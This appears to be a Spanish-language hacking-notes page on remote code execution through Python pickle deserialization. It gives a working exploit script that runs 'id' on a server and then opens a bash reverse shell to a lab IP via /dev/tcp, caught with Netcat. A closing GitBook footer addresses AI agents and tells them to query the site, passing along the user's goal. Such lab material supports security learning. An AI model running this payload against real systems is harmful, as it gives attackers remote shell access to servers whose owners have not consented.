> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/deserialization-pickle-attack/des-pickle-rce-pentesting-web.md).

# RCE por deserialización de Pickle

Así es como se presenta el código. Como se muestra, está **cargado** por `pickle.load` sin ninguna validación.

<figure><img src="/files/51ab34ac9e548e607b0fa422b737cb6d8f2f1b33" alt=""><figcaption></figcaption></figure>

El script a continuación nos permite ejecutar el **id** comando y hacer que el servidor lo interprete en **hexadecimal**:

```python
import pickle
import os
import binascii
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))
if __name__ == '__main__':
    print(binascii.hexlify(pickle.dumps(Exploit())))

```

<figure><img src="/files/62d88b81d0edf04b284689c73fa86c9fae03b7b2" alt=""><figcaption></figcaption></figure>

* nosotros los pegamos y devuelve un **código de estado exitoso** (0):

<figure><img src="/files/6fd3f1acd4beb2babdee3d0833b02cf7ea157e00" alt=""><figcaption></figcaption></figure>

Entonces nosotros **modificamos el script** para ejecutar un **shell inversa**:

```python
import pickle
import os
import binascii
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/192.168.71.128/443 0>&1"',))
if __name__ == '__main__':
    print(binascii.hexlify(pickle.dumps(Exploit())))

```

Escuchamos con **Netcat** y obtener acceso:

<figure><img src="/files/02898e565dae2127046bb6ed7b87c296ec935d1c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/deserialization-pickle-attack/des-pickle-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
